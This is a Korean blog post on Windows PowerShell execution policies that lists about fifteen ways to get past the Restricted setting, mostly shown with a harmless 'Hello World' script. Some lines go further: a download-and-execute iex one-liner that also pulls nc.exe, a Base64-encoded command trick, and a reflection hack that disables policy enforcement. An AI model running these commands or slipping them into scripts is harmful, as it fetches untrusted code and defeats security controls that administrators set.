Execution Policy의 Restricted을 우회하여 PowerShell 실행

Reading time ~2 minutes

개요

윈도우 파워셸(Windows PowerShell)은 마이크로소프트가 개발한 확장 가능한 명령 줄 인터페이스(CLI) 셸 및 스크립트 언어를 특징으로 하는 명령어 인터프리터이다. 스크립트 언어는 닷넷 프레임워크 2.0을 기반으로 객체 지향에 근거해 설계되었다. - wikipedia

  • ps1 파일은 기본 보안정책으로 사용이 불가능
    • Windows Server 2012 R2만 기본 보안정책 설정이 RemoteSigned
    • 그 외 모든 버전(Windows 8.1 포함)은 기본 보안정책 설정이 Restricted
  • 스크립트를 실행하려면 Execution Policy 허용 필요
    • 로컬 컴퓨터에서는 관리자 권한으로 Execution Policy 설정이 가능
    • 보안 강화를 위해 Active Directory의 Group Policy를 통하여 설정 가능
    • Active Directory > Group Policy Management > Turn on Script Execution 설정
    • Group Policy 설정하면 관리자 권한으로도 Policy Execution 을 변경 불가

테스트 환경 설정

Execution Policy 확인

 PS > Get-ExecutionPolicy -List | ft -Autosize

001

실행 정책 변경 (관리자 권한)

PS > Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
PS > Set-ExecutionPolicy Bypass
PS > Set-ExecutionPolicy Restricted -Force

Execution Policy 종류

Policy Local Script 실행 Remote Script 실행
Restricted 불가능 불가능
AllSigned 디지털 서명된 스크립트실행 가능 디지털 서명된 스크립트실행 가능
RemoteSigned 가능 디지털 서명된 스크립트실행 가능
Unrestricted 가능 가능
Bypass 가능 가능
  • Remote Signed
    • 로컬 저장된 스크립트는 실행 가능
    • 원격에서 다운로드한 스크립트는 디지털 서명된 경우에만 실행 가능
        PS > \\[원격]\Process.ps1
        PS > invoke-Expression -Command \\[원격]\Process.ps1
      
  • UnRestricted
    • 원격에 있는 스크립트를 실행할때는 경고창을 출력후 실행
  • Restricted
    • 로컬/원격 스크립트 모두 실행 불가
  • Bypass
    • 로컬/원격 스크립트 실행 가능
        # 관리자 사용 
        PS > Set-ExcutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
      
  • AllSigned
    • 스크립트에 디지털 서명이 되어있지 않으면 실행 불가
    • Group Policy로 AllSigned로 설정하면 각 컴퓨터에서는 설정 변경을 하지 못하므로 디지털 서명된 스크립트 파일만 실행 가능

정책을 우회 하여 PowerShell 실행

간단한 스크립트를 작성하여 ps1파일로 저장 후 실행

Write-Host "Hello World! run me!!!"
  • Get-ExecutionPolicy 명령어로 실행 정책 확인 003
  • Restricted 정책일 경우 PowerShell 스크립트 사용 불가 002
  1. Paste the Script into an Interactive PowerShell Console 004

  2. Echo the Script and Pipe it to PowerShell Standard In
     Echo Write-Host "Hello World! run me!!!"  | PowerShell.exe -noprofile -
    

    006

  3. Read Script from a File and Pipe to PowerShell Standard In
     Get-Content .run.ps1 | PowerShell.exe -noprofile - 
    

    005

     TYPE .run.ps1 | PowerShell.exe -noprofile -
    

    007

  4. Download Script from URL and Execute with Invoke Expression
     powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL주소')"
     powershell -nop -c "Invoke-Expression(New-Object Net.WebClient).DownloadFile('URL주소', c:\temp\nc.exe)"
    
  5. Use the Command Switch
     Powershell -command "Write-Host 'Hello World! run me!!!'"
    

    008

  6. Use the EncodeCommand Switch
     $command = "Write-Host 'Hello World! run me!!!'" 
     $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
     $encodedCommand = [Convert]::ToBase64String($bytes) 
     powershell.exe -EncodedCommand $encodedCommand
    

    010

    011

  7. Use the Invoke-Command Command
     invoke-command -scriptblock {Write-Host "Hello World! run me!!!"}
    

    012

  8. Use the Invoke-Expression Command 013

    014

  9. Use the “Bypass” Execution Policy Flag
     PowerShell.exe -ExecutionPolicy Bypass -File .run.ps1
    

    015

  10. Use the “Unrestricted” Execution Policy Flag
    PowerShell.exe -ExecutionPolicy UnRestricted -File .run.ps1
    

    016

  11. Use the “Remote-Signed” Execution Policy Flag
    PowerShell.exe -ExecutionPolicy Remote-signed -File .run.ps1
    
  12. Disable ExecutionPolicy by Swapping out the AuthorizationManager
    PS > function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
    PS > Disable-ExecutionPolicy
    PS > .\run.ps1
    

    017

  13. Set the ExcutionPolicy for the Process Scope 018

  14. Set the ExcutionPolicy for the CurrentUser Scope via Command
    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
    

    019

  15. Set the ExcutionPolicy for the CurrentUser Scope via the Registry
    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
    

    021 020


참조

Microsoft
NETSPI
Winaero

Updated on oneandonlyme